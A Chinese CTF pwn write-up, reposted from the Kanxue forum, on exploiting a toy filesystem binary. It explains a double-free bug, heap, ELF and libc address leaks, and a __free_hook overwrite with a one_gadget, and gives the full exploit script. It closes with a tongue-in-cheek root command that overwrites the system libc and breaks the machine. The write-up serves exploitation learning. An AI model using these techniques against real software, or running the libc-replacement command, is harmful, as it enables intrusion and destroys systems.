重温搭建pwn环境
2022-1-27 17:59:0 Author: mp.weixin.qq.com(查看原文) 阅读量:3 收藏

本文为看雪论坛优秀文章

看雪论坛作者ID:xym

首先分析出这是一个文件系统,里面有个主要的结构存储了文件和文件夹。
struct struc_Dir{  int bIsFile;  int field_4;  struc_Dir *lpParent;  struc_Dir *SubDirList[16];  char *pDirName;  _BYTE *FileBuff;  int BuffLen;  int field_A4;};

里面提供了文件夹的增删改功能,其中最容易出逻辑bug的就是删除操作,特别是在子目录删除父目录后如何处理当前目录。本地测试时发现只要删除父目录,程序就崩溃,因为run调用了pwd,而pwd循环查找父目录时会调用NULL指针。
write(1, &asc_555555555FC4[4], 1uLL);pwd();write(1, "$ ", 2uLL);
但是服务器上没有,不知道是不是修复了这个bug。

接着发现删除文件时仅仅释放文件内容,没有清空指针造成double free。连续删除两次文件后远程测试操作成功,本地ubuntu20.04直接报free的指针错误,说明漏洞存在。

double free加上write_to_file配合可以实现任意地址写,本来以为快要大功告成,结果在泄露各种地址时耽误了很长时间。

首先获取堆地址,通过分析堆结构发现删除home所在的区块后,通过再次分配给file的filebuff结构,可以很容易通过对应的file获取sysbuf下一个区块的指针。
echo("1" * 0xA8, "file")cd("a")rm('../file')rm('../file')

然后利用echo通过修改最低字节的方式将该指针指向sysbuf中的合适位置,可以让新分配的Dir结构中lpParent放到sysbuf的最后,这样在echo中让sysbuf填满0x5000个可见字符,就可以通过:
v0 = strlen(sysbuf);write(1, sysbuf, v0);
把lpParent指针输出。

这样的操作反复两次,就可以通过不同目录分别得到heap和root的地址。
但是这里仍然缺少libc的指针。

中间走的弯路就是想利用username输出stdout的地址,因为通过修改filebuff可以任意地址写,所以只要把username填充修改至bss段,就可以通过下列语句输出代码。
v0 = strlen(username);write(1, username, v0);

但是实操发现中间有个cwd指针,如果被填充则会导致接下来的pwd()报错,导致改方案不可行。

纠结是否要通过修改stdout的低位来间接修改libc的时候,突然想起填充tcache将libc地址放到堆中的方法,这样可以利用上面相同方法获取libc的地址。

最后将sysbuf指向free_hook前段,然后在free_hook写上one_gadget,随便删除一个文件就可以getshell了。

下面贴代码:
mkdir("a")touch("file")touch("file2")touch("file8")touch("filea")touch("fileb")touch("filec") echo("2" * 0xA8, "file8")rm('home')echo("1" * 0xA8, "file")cd("a")rm('../file')rm('../file')echo("\x58", "../file")#touch("file3")mkdir("b")echo("A" * 50, null)ls(".")echo("A" * (0x5000), null)r.recvuntil("A" * 0x5000)dst = u64(r.recv(8)) - 0x630a000000000000heapbase =  dst - 0x5460print(hex(heapbase)) echo("1" * 0xA8, "../file2")rm('../file2')rm('../file2')#echo(p64(heapbase + 0x5260 - 8), "../file2")cd("..")touch("file4")mkdir("file5") echo("B" * (0x5000), null)r.recvuntil("B" * 0x5000) dst = u64(r.recv(6) + p16(0))elfbase =  dst - 0x60print(hex(elfbase))print(hex(heapbase))  cd("a") rm('../file8')rm('../file8')echo(p64(heapbase + 0x2A0), "../file8") #0x00005555557582A0touch("file8")touch("file9") echo("8" * 0x5000, "../filea")echo("a" * 0xd8, "../fileb")echo("a" * 0x25, "../filec")rm('../fileb')rm('../fileb')rm('../fileb')rm('../fileb')rm('../fileb')rm('../fileb')rm('../fileb')rm('../fileb') echo(p64(heapbase + 0x5d10) + 'A' * 0x38 + p64(1) + p64(heapbase + 0x5460) + p64(0) * 0x10 + p64(heapbase + 0x5CD0) + p64(elfbase + 0x108) + p64(0x10000), "file9") echo("c" * (0x5000), null) r.recvuntil("c" * 0x5000)dst = u64(r.recv(6) + p16(0))libcbase = dst - 0x3EBCA0print(hex(libcbase))__free_hook = libcbase + 0x3ED8E8echo(p64(__free_hook - 0x10), "file9")one_gadget = libcbase + 0x4f322echo('A' * 0x10 + p64(one_gadget), "../filea")rm('../fileb')

最后附上一条替换libc的“好方法”,管理员权限下使用如下命令替换系统libc为你想使用的libc。
mv '/lib/x86_64-linux-gnu/libc.so.6' '/lib/x86_64-linux-gnu/libc.so.6.old'&& cp /home/ctf/binary/libc.so.6 '/lib/x86_64-linux-gnu/libc.so.6'

也许你会很惊喜的发现如下提示,然后可以私信我获取解决办法。
cp: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory

 

看雪ID:xym

https://bbs.pediy.com/user-home-105968.htm

*本文由看雪论坛 xym 原创,转载请注明来自看雪社区

# 往期推荐

1.Windows平台下堆溢出攻击

2.Linux内核入门——驱动模块

3.CVE-2012-1876漏洞分析与利用

4.PWN学习总结

5.Java反编译_class爆破与javaagent

6.某应用sign签名算法还原

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458428051&idx=2&sn=82e04227e56f271e04626b33684c0f5b&chksm=b18f921986f81b0f896c3149bf1b735b222e96f1029688432a3020f7e98a6cbecfad70b30e86#rd
如有侵权请联系:admin#unsafe.sh